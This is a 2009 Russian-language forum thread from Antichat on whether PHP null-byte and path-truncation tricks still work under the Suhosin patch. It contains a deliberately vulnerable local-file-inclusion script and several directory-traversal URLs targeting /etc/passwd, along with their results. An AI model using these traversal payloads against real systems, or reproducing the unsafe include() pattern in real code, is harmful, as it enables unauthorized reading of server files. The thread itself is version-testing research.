ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

null byte в PHP c последними версиями Suhosin-Patch
  #1  
Старый 22.11.2009, 22:15
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию null byte в PHP c последними версиями Suhosin-Patch

PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28

suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)

Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (

Скрипт (обычный LFI):
PHP код:
<pre>
<?php
if (isset($_GET['p'])) {
    echo 
"PATH: ".$_GET['p']."\n";
    include(
"./".$_GET['p'].".txt");
} else {
    echo 
"Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.

1. test.php?p=../../../../../../../etc/passwd

Результат:
Цитата:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'

2. test.php?p=../../../../../../../etc/passwd%00

Результат:
Цитата:
Переменная не определена

3. test.php?p=../../../../../../../etc/passwd//////[4096]/////


Результат:
Цитата:
Переменная не определена

4. test.php?p=../../../../../../../etc/passwd//////[1024]/////


Результат:
Цитата:
Переменная не определена

5. test.php?p=../../../../../../../etc/passwd//////[512]/////


Результат:
Цитата:
Переменная не определена
Если объявить переменную:
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 23.11.2009 в 00:01..
 
Ответить с цитированием

  #2  
Старый 22.11.2009, 22:46
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.
 
Ответить с цитированием

  #3  
Старый 22.11.2009, 23:04
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от Ins3t  
Хмм, на PHP 5.2.9 еще все работало.

Обновлю, гляну.
Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает.
А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет.

Разобрался! Обновил пост.
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 22.11.2009 в 23:24..
 
Ответить с цитированием

  #4  
Старый 23.11.2009, 08:00
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
Цитата:
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
 
Ответить с цитированием

  #5  
Старый 23.11.2009, 08:02
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
 
Ответить с цитированием

  #6  
Старый 23.11.2009, 08:13
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от Pashkela  
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
Мы непоняли друг друга паш
 
Ответить с цитированием

  #7  
Старый 23.11.2009, 08:16
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от [Raz0r  
]
PHP в зависимости от платформы имеет ограничение на длину пути, определяемой константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
Все верно,значит я с чем-то спутал.
 
Ответить с цитированием

  #8  
Старый 23.11.2009, 08:53
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Цитата:
Сообщение от m0Hze  
.
Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
Cам проверь и тогда поймешь что где обрезается =)
Цитата:
Если мне не изменяет память
Постить на догадках - бред, да мало-ли что может быть.
Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.
__________________
Cервер cs 1.6
cs.antichat.net:27015

Последний раз редактировалось (Dm); 23.11.2009 в 09:04..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Проблема с конвертацией базы mySQL GrAmOzEkA PHP, PERL, MySQL, JavaScript 18 18.10.2009 23:07
Вопрос по Mysql {BuT@Min} PHP, PERL, MySQL, JavaScript 4 18.12.2006 08:52
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ